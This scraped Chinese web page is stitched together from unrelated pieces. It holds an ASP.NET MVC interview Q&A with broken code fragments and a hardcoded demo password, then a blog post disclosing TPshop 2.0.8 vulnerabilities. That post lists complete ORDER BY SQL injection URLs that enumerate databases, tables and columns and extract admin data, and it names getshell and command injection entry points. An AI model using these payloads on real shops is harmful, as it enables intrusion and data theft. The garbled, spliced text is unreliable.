mvcmvc6在哪个vs版本里版本有漏洞

读这篇文章不意味着你一定要去并且能搞定MVC面试。这篇文章的目的是在面试之前让你快速复习MVC知识。这篇文章也不是MVC培训课程。
如果你想学习MVC,从这儿开始
什么是MVC (模型 视图 控制器)?
MVC是一个架构模式,它分离了表现与交互。它被分为三个核心部件:模型、视图、控制器。下面是每一个部件的分工:
视图是用户看到并与之交互的界面。
模型表示业务数据,并提供数据给视图。
控制器接受用户的输入并调用模型和视图去完成用户的需求。
图: MVC (模型、视图、控制器)
你能解释下MVC的完整流程吗?
下面是MVC(模型、视图、控制器)架构的控制流程:
所有的终端用户请求被发送到控制器。
控制器依赖请求去选择加载哪个模型,并把模型附加到对应的视图。
附加了模型数据的最终视图做为响应发送给终端用户。
MVC同时适用于Windows应用和Web应用吗?
相比Windows应用,MVC架构更适用于Web应用。对于Windows应用,MVP(Model View Presenter )架构更好一点。如果你使用WPF和Silverlight,MVVM更适合。
使用MVC有哪些好处?
MVC有两个大的好处:
分离了关注点。后台代码被移到单独的类文件,我们可以最大限度的重复利用代码。
自动化UI测试成为可能,因为后台代码移到了.NET类。这让我们更容易做单元测试和自动化测试。
MVC不同于三层架构?
MVC是三层传统架构的演变。三层架构和MVC有一些通用的组成部分。 显示如下:
三层 / 分层架构
Model view controller architecture
显示与交互
商业逻辑 / 验证
请求首先发送给谁?
数据链接层
数据链接层
图示: 三层架构
MVC的最新版本是哪个?
在写这篇文章时MVC已经发行了4个版本:MVC 1 , MVC 2, MVC 3, 和 MVC 4. 所以 MVC 4是最新版本。
每个版本的MVC有什么不同?
下面的表格列出了详细的不同点。但是在面试中限于时间问题,很难去说出所有的东西。所以,我标出了所有重要区别。
Client-side validation
Templated Helpers Areas
Asynchronous Controllers
Html.ValidationSummary &Helper Method
DefaultValueAttribute &in Action-Method
Parameters binding
Binary data with Model Binders
DataAnnotations Attributes
Model-Validator Providers
New& RequireHttpsAttribute Action Filter
Templated Helpers
Display Model-Level Errors
Readymade project templates
HTML 5 enabled templates
Support for Multiple View Engines, JavaScript, and AJAX
Model Validation Improvements
ASP.NET Web API
Refreshed and modernized default project templates. New mobile project template.
Many new features to support mobile apps
Enhanced support for asynchronous methods
MVC中的HTML helpers是什么?
HTML helpers帮助你渲染视图中的HTML控件。如果在面试中你想展示HTML输入框,下面是HTML helper代码。
checkbox的代码如下。用这种方式我们可以创建现存的所有HTML控件。
&HTML.TextBox& 和 &HTML.TextBoxFor&有什么不同?
它们两个输出相同的HTML,&&HTML.TextBoxFor&是强类型的,但 &HTML.TextBox&不是。下面是一个实例,它仅仅创建了一个名字为 &CustomerCode&的输入框。 &
下面的代码是用 &Html.TextBoxFor& 创建的HTML输入框,从对象"m"中调用了属性&CustomerCode &。
Html.TextBoxFor(m =& m.CustomerCode)
相同的方式,我们可以用&Html.CheckBox& 和 &Html.CheckBoxFor&创建checkbox。
MVC的路由选择是什么?
路由选择功能帮你定义一个URL规则,映射URL到控制器。
举一个例子,我们想让用户输入&
&时,它转向到&Customer&控制器并且调用 DisplayCustomer 。这个通过Maproute方法来定义。代码如下:
routes.MapRoute(
在哪里写路由映射表?
在 & global.asax & 文件。
我们可以映射多个URL到同一个动作吗?
是的,可以。只需要添加多条不同Key名字的记录,并且指定同样的控制器和动作。
使用hyperlink生成链接,如何从一个视图链接到另一个视图?
使用 ActionLink 方法,如下图所示。下面的代码生成一个简单的URL,链接到"Home"控制器的GotoHome动作。
如何限制一个动作的类型为GET或POST?
我们可以给MVC的动作一个HttpGet或HttpPost属性去限制HTTP的类型。你可以看下面的代码段,这个 DisplayCustomer 动作只能用HttpGet方式访问。如果我们尝试用Http post的方式,会看到错误信息。
public ViewResult DisplayCustomer(int id)
Customer objCustomer = Customers[id]
在MVC中如何保持Sessions?
可以通过三种方式保持: tempdata, viewdata, 和viewbag。
tempdata, viewdata, 和 viewbag之间有什么不同?
图示: &tempdata, viewdata, 和viewbag之间不同点
Temp data &-在不同的控制器或动作间转换时保持数据。另外,进行页面转向时,tempdata可以保持数据。它是一个内部的Session变量。
View data &- 可以在控制器和视图间保持数据。
View Bag &- &它是视图数据的动态包装。使用Viewbag不需要类型转换。它使用的是内部动态关健词。&
图示: 动态关键词
Session 变量 - &使用Session变量可以在任何实体间保持数据。
隐藏字段和HTML控件 - &只能何持数据从UI到Controller。可以使用HTML控制器或隐藏字段,用HTTP方式(POST或GET)发送数据到控制器。
下表是汇总:
Maintains data between
ViewData/ViewBag
Hidden fields
Controller to Controller
Controller to View
View to Controller
MVC是的局部视图是什么?
局部视图是一个可重复调用的视图(和用户控件一样),它可以嵌入到视图里面。例如:你的站点页面有统一的菜单、头部、尾部,如下图所示:
Figure: MVC中的局部视图
如果你想在所有页面重用菜单、头部和尾部。可以创建局部视图,然后在主视图中调用它们。
如何创建和调用局部视图?
点击"Create partial view "复选框去添加局部视图。
图示: 创建局部视图
局部视图创建好后,在主视图中使用 Html.RenderPartial 调用。如下代码:
MVC中如何做输入验证?
早期的MVC版本中使用数据注释来做验证。除了注释还可以利用数据模型的属性标签。例如,下面的实例代码中Customer类有一个属性customercode。
这个CustomerCode属性标注了一个Required数据。如果不提供CustomerCode数据,它将不能通过验证。
public class Customer
[Required(ErrorMessage="Customer code is required")]
public string CustomerCode
为了显示验证错误提示我们需要使用ValidateMessageFor方法,它属于Html helper类。
在controller中,使用ModelState.IsValid属性检查数据是否正确。
public ActionResult PostCustomer(Customer obj)
if (ModelState.IsValid)
obj.Save();
return View("Thanks");
return View("Customer");
下面是一个显示错误信息的实例。
图示: MVC中的验证
可以一次显示所有的错误信息吗?
可以。使用Html helper类中的ValidationSummary方法。
MVC中还有哪些注释属性用来验证?
如果你要去检查字符的长度,你可以使用 StringLength .
[StringLength(160)]
public string FirstName {
如果你想使用注册表达式,你可以使用 RegularExpression 。
[RegularExpression(@"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}")]public string Email {
如果你想检查数字是否在一个范围内,你可以使用 Range 。
[Range(10,25)]public int Age {
有时你想比较两个字段的值,我们可以使用 Compare 。
public string Password {
}[Compare("Password")]public string ConfirmPass {
如果你想拿到错误详情,你可以使用 Errors 集合。
var ErrMessage = ModelState["Email"].Errors[0].ErrorM
如果你已经创建好模型对象,你可以在Contronller中调用 TryUpdateModel 去检查它是否正确。
TryUpdateModel(NewCustomer)
如果你想在Controller中添加错误信息,你可以使用 AddModelError 函数。
如何启用客户端验证?
有两个步骤:第一引用必须的jQuery文件。
第二步去调用 EnableClientValidation 方法。&
什么是MVC中的Razor?
它是一个轻量级的视图引擎。MVC最初只有一个ASPX的视图类型,直到MVC3才引进了Razor 。
已经有了ASPX,为什么还要Razor?
相比ASPX,Razor是一个干净的、轻量级的和语法更简单。例如,ASPX去显示时间:
在Razor中,只需要一行:
@DateTime.Now
Razor or ASPX,哪个更好?
Razor更好,因为它是轻量级的,并且语法简单。
在MVC中如何做授权和认证?
在MVC中你可以使用Windows或Forms认证。
在MVC中如何去执行Windows认证?
你需要修改web.config文件,并设置验证模式为Windows。
然后在controlle或action中,你可以使用 Authorize 属性,指定哪个用户可以访问这个controller或action。下面的代码设置到只有指定的用户可以访问它。
[Authorize(Users= @"WIN-3LI600MWLQN\Administrator")]
public class StartController : Controller
在MVC中如何用表单认证?
表单认证和ASP.NET的表单验证一样。第一步是设置认证模式为Forms。loginUrl是指向到controller,而不是一个页面。
我们也需要创建一个controller,去验证用户。如果验证通过,需要设置cookies值。
public ActionResult Login()
if ((Request.Form["txtUserName"] == "Shiv") &&
(Request.Form["txtPassword"] == "Shiv@123"))
FormsAuthentication.SetAuthCookie("Shiv",true);
return View("About");
return View("Index");
其它需要验证的action都需要加一个 Authorize 属性,如果用户没权限将转向到登陆页面。
[Authorize]
在MVC中如何执行AJAX?
MVC中有两种方式可以执行AJAX:
AJAX libraries
下面是一个简单的实例,它使用&AJAX&帮助执行AJAX。在下面的代码中,你可以使用Ajax.BeginForm创建了一个表单。这个表单调用了一个getCustomer方法。
如果你想做在hyperlink点击上做Ajax调用,你可以使用 Ajax.ActionLink 函数,如下图所示。
图示: 在MVC中执行AJAX
如果你想创建一个AJAX异步hyperlink,它调用controller中的GetDate方法,代码如下。一旦controller作出回应,这个数据会显示在id为DateDiv的DIV中。
下面是Controller代码。你可以看到GetDate有延迟10秒。
public class Default1Controller : Controller
public string GetDate()
Thread.Sleep(10000);
return DateTime.Now.ToString();
在MVC中做Ajax调用的第二种方式是使用jQuery。下面的代码你可以看到我们做了一个AJAX POST到 /MyAjax/getCustomer。 它 使用$.post。所有的逻辑代码放在GetData函数中,你可以通过一个按钮或者是链接点击事件去调用它。
function GetData()
var url = "/MyAjax/getCustomer";
$.post(url, function (data)
$("#txtCustomerCode").val(data.CustomerCode);
$("#txtCustomerName").val(data.CustomerName);
在AJAX中有几种事件可以跟踪?
图示: AJAX中的事件跟踪
ActionResult 和 ViewResult有什么不同?
ActionResult &是一个抽象类,ViewResult衍生于& ActionResult &类。& ActionResult 有几种衍生类,例如:& ViewResult , JsonResult , FileStreamResult , 等等。
ActionResult &可以用来开发多态和动态动象。所以如果你动态运行不同类型的视图, ActionResult &是最好的选择。例如下面的代码,你可以看见我们有一个 DynamicView 。基于标记(IsHtmlView),它会返回 ViewResult &或& JsonResult 。
public ActionResult DynamicView()
if (IsHtmlView)
return View();
MVC有多少种不同类型的结果类型?
注意: 很难去记住所有的12种类型。但是一些重要的你可以记住,例如: ActionResult ,& ViewResult ,和& JsonResult 。详情如下:
MVC中的12种结果类型,最主要的是ActionResult类,它是一个基础类,它有11个子类型,如下:
ViewResult &- 给响应流渲染指定的视图
PartialViewResult &- 给响应流渲染指定的局部视图
EmptyResult &- 返回空的响应结果。
RedirectResult &- 执行一个HTTP转向到指定的URL。
RedirectToRouteResult &- 执行一个HTTP转向到一个URL,这个URL由基于路由数据的路由引擎来决定
JsonResult &- 序列化一个ViewData对像到JSON格式。
JavaScriptResult &- 返回一段Javascript代码,它可以在客户端执行。
ContentResult &- 写内容到响应流,不需要视图支持。
FileContentResult &- 返回一个文件到客户端。
FileStreamResult &- 返回一个文件到客户端,它提供的是流。
FilePathResult &- 返回一个文件到客户端。
MVC中的ActionFilters是什么?
ActionFilters帮助你在MVC action执行中或执行后,执行一些逻辑。
图示: MVC中的ActionFilters。
Action filters通常用在下面的场景中:
在action发生前,执行POST logic before the action happens.
取消一个当前的执行。
检查返回值。
给action提供特殊的数据。
你有两种方式创建action filters:
内联action filter.
创建一个& ActionFilter &属性.
创建内联action filter,我们需要执行 IActionFilter 接口。 IActionFilter 接口有两个方法:& OnActionExecuted &和& OnActionExecuting 。在这两个方法中我们可以执行预处理逻辑或取消逻辑。
public class Default1Controller : Controller , IActionFilter
public ActionResult Index(Customer obj)
return View(obj);
void IActionFilter.OnActionExecuted(ActionExecutedContext filterContext)
Trace.WriteLine("Action Executed");
void IActionFilter.OnActionExecuting(ActionExecutingContext filterContext)
Trace.WriteLine("Action is executing");
内联Action filter的问题是不能跨Controler。我们可以转换内联action filter到action filter属性。创建action filter属性,我们需要继承 ActionFilterAttribute 和执行 IActionFilter &接口,代码如下:
public class MyActionAttribute : ActionFilterAttribute , IActionFilter
void IActionFilter.OnActionExecuted(ActionExecutedContext filterContext)
Trace.WriteLine("Action Executed");
void IActionFilter.OnActionExecuting(ActionExecutingContext filterContext)
Trace.WriteLine("Action executing");
之后我们可以在controller上使用这个属性。你可以看下面的代码:
[MyActionAttribute]
public class Default1Controller : Controller
public ActionResult Index(Customer obj)
return View(obj);
MVC中可以创建自定义视图引擎吗?
可以,在MVC中我们可以创建自己的自定义视图引擎。创建自己的自定义视图引擎需要跟随下面三步:
我们将创建一个自定义视图引擎,在视图里用户可以输入一个命令,比如&&DateTime&&,它会显示当前的日期和时间。
步骤1 :我们需要创建一个类去执行IView接口。我们应该 在这个类的render函数中写一些逻辑,指明如何渲染视图。示例代码如下:
public class MyCustomView : IView
private string _FolderP
步聚2: 我们需要创建一个类,它继承 VirtualPathProviderViewEngine ,并且我们需要提供一个文件夹路径和视图文件扩展名。例如,Razor是&cshtml&,aspx是&.aspx&。示例代码如下:
public class MyViewEngineProvider : VirtualPathProviderViewEngine
步骤 3: 我们需要注册自定义视图到视图集合。注册自定义视图引擎最适合的地方是global.aspx文件中的 ViewEngines 集合。 代码如下:
protected void Application_Start()
下面是一个实例,在自定义视图的顶部中写了一个定义好的命令。
图示: MVC中的自定义视图引擎
当你调用视图,你应该能看见下面的输出:
在MVC中如何返回JSON格式的结果?
在MVC中,我们有 JsonResult 类可以返回JSON格式数据。下面是一个简单的例子,它使用JsonResult返回Customer对象的JSON格式。
public JsonResult getCustomer()
Customer obj = new Customer();
obj.CustomerCode = "1001";
obj.CustomerName = "Shiv";
return Json(obj,JsonRequestBehavior.AllowGet);
下面是上面代码的JSON输出:
什么是WebAPI?
HTTP是最常用的协议。过去的很多年,浏览器是我们使用HTTP方式公开数据的首选客户端。但是日新月异,客户端发展到多种形式。我们需要使用HTTP方式传递数据给不同的客户端,例如:移动手机、Javascript,Windows应用等等。
WebAPI是一个通过HTTP方式公开数据的技术,它跟随REST规则。
WCF SOAP 也做同样的事情,它与WebAPI也有什么区别?
重量级,因为它使用复杂的WSDL结构。
轻量级,只有需要的信息被传递。
只支持HTTP协议
解析SOAP信息,客户端需要理解WSDL格式。写自定义代码去解析WSDL是非常重要的任务。如果客户端足够聪明去创建一个代理对象,比如在.net中添加引用,那么SOAP是最简单的方式。
WebAPI的输出是简单的字符串、JSON、简单XML格式等。所以,写解析逻辑非常简单。
SOAP跟随WS-* 规定
WebAPI跟随REST规定。(Please refer to REST in WCF chapter.)
关于Web API, 你可以看我的另一篇翻译:ASP.NET Web API详解
在MVC中我们如何识别是PSOT还是GET调用?
在控制器中识别POST或GET,我们可以使用 Request.HttpMethod ,代码如下所示:
public ActionResult SomeAction()
if (Request.HttpMethod == "POST")
return View("SomePage");
return View("SomeOtherPage");
什么是MVC中的打包也压缩?
打包与压缩帮助我们减少一个页面的请求时间,从而提高页面执行性能。
打包如何搞高性能?
我们的项目总是需要CSS和脚本文件。打包帮助你合并多个Javascript和css文件到单个文件,从而最小化多个请求到一个请求。
例如,包含下面的web请求到一个页。这个页面要求两个Javascript文件, Javascript1.js 和 Javascript2.js 。 当请求这个页面时,它要做三次请求:
一个是Index页面.&
两个请求是为了两个JavaScript文件: Javascript1.js &和 Javascript2.js .
如果页面中有大量的javascript文件,这样会降低性能。如果我们可以合并所有的JS文件到一个文件,只请求一个,这将加增加性能。如下图所示:
MVC中如何执行打包?
打开 App_Start 文件夹中的 BundleConfig.cs
在 BundleConfig.cs 中,添加你想打包的JS文件路径到打包集合。如下所示:
bundles.Add(new ScriptBundle("~/Scripts/MyScripts").Include(
"~/Scripts/*.js"));
下面是 BundleConfig.cs 文件的代码:
class BundleConfig
public static void RegisterBundles(BundleCollection bundles)
bundles.Add(new ScriptBundle("~/Scripts/MyScripts").Include(
"~/Scripts/*.js"));
BundleTable.EnableOptimizations =
一旦你合并了脚本到一个文件,你可以使用下面的代码去调用它:
你将看到脚本请求被合并到一个:
在debug模式下如何测试打包功能?
如果你在debug模式下,你需要在bundleconfig.cs中设置 EnableOptimizations 为true,否则你不会看到打包效果。
BundleTable.EnableOptimizations =
解释压缩,它是如何执行的?
压缩功能通过移除空格、注释等减少了脚本与CSS文件的大小。例如下面的代码:
// This is test
var x = 0;
x = x + 1;
x = x * 2;
执行压缩后的Javascript代码如下所示。
var x=0;x=x+1;x=x*2;
阅读(...) 评论()TPshop_.0.8版-多个漏洞集合 - 简书
TPshop_.0.8版-多个漏洞集合
这个系统的漏洞也是放了很久了,这几天逛T00ls发现给人家爆出来了。。爆出来了。我也一次性爆完把=-=,有和T00ls论坛的那个哥们重复的纯属正常。
防止说我是照抄的,引起不好影响,下面那图是我审计的时候上传的时间,来证明一下,引起误会就不好了。
百度云链接: 密码:x83a
TPshop开源商城系统( Thinkphp shop的简称 ),是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城,系统PC+后台是基于ThinkPHP5 MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成,在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。
下载地址:
目录大概结构
├─index.php
├─Install
安装目录 //保存着各种的sql文件 php文件初始化
├─Thinkphp
PHP框架代码
├─plugins
保存插件的地方
├─vendor
第三方类库
├─Public
保存css,js,img,upload的地方
├─Template
模版文件 //保存手机与电脑端html的地方
├─mobile
手机模版文件
电脑模版文件
├─application
项目文件夹
电脑端业务代码 //保存着电脑端的各种功能PHP文件
├─Controller
模型逻辑层(可以当成Services来看)
├─validate
视图(在这框架中并没有什么用)
管理端业务代码 //保存着管理端的各种功能PHP文件同上
├─mobile
手机端业务代码 //保存着手机端的各种功能PHP文件
├─common
全局公共函数文件夹(我也不懂为什么这里要放一大把的model的东西)
├─common.php
全局公共函数文件
├─config php
全局公共配置文件
├─database.php
数据库配置文件
├─function.php
公共函数文件
├─route.php
系统路由文件
├─tags.php
应用行为扩展定义文件
漏洞1:前台sql注入 order by注入
文件地址:application/home/controller/Goods.php
问题函数:goodsList()
问题参数_1:
$sort = I('get.sort','goods_id'); // 排序
问题参数_2:
$sort_asc = I('get.sort_asc','asc'); // 排序
因为是order by 的注入所以要利用一些平时用不到的sql语句
爆当前库名:
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT database() ),0x2D2D2D2D))s), 51610)))
爆此mysql库的总数:
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 8138 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x2D2D2D2D))s), 51610)))x)
爆某个库的名称:
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 4362 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x2D2D2D2D))s), 51610)))x)
获取某个库表的总数:
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 8139 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x322e302e36)),0x2D2D2D2D))s), 51610)))x)
获取某个库每个表的表名:
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 3572 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x322e302e36) LIMIT 2,1),0x2D2D2D2D))s), 51610)))x)
获取某个表的字段总数:
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 1965 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0xd696e AND table_schema=0x322e302e36),0x2D2D2D2D))s), 51610)))x)
获取某个表 某个字段名称:
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 3302 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(column_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0xd696e AND table_schema=0x322e302e36 LIMIT 0,1),0x2D2D2D2D))s), 51610)))x)
获取某库某表某字段数据:
http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 2857 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(admin_id AS CHAR),0x20)),1,451) FROM `tpshop2.0.6`.tp_admin ORDER BY admin_id LIMIT 0,1),0x2D2D2D2D))s), 51610)))x)
漏洞2:前台sql注入 order by注入
文件地址:application/home/controller/Goods.php
问题函数:search()
问题参数_1:
$sort = I('get.sort','goods_id'); // 排序
问题参数_2:
$sort_asc = I('get.sort_asc','asc'); // 排序
漏洞3:前台sql注入 order by注入
文件地址:application\mobile\controller\Goods.php
问题函数:goodsList()
问题参数_1:
$sort = I('get.sort','goods_id'); // 排序
问题参数_2:
$sort_asc = I('get.sort_asc','asc'); // 排序
漏洞3:前台sql注入 order by注入
文件地址:application\mobile\controller\Goods.php
URL地址:小米/sort/shop_price
问题函数:search()
问题参数_1:
$sort = I('get.sort','goods_id'); // 排序
问题参数_2:
$sort_asc = I('get.sort_asc','asc'); // 排序
前后台getshell篇
漏洞1:前台无限制getshell漏洞
文件地址:application/home/controller/Test.php
问题函数:dlfile()
漏洞2:前台无限制getshell漏洞
文件地址:application/home/controller/Uploadify.php
问题函数:preview()
漏洞3:后台有限制
命令注入 漏洞
文件地址:application\admin\controller\Plugin.php
问题函数:add_shipping
╮(╯▽╰)╭ 这个人,懒到简介都懒的写了呢 ~~

我要回帖

更多关于 vs2015 mvc版本 的文章

 

随机推荐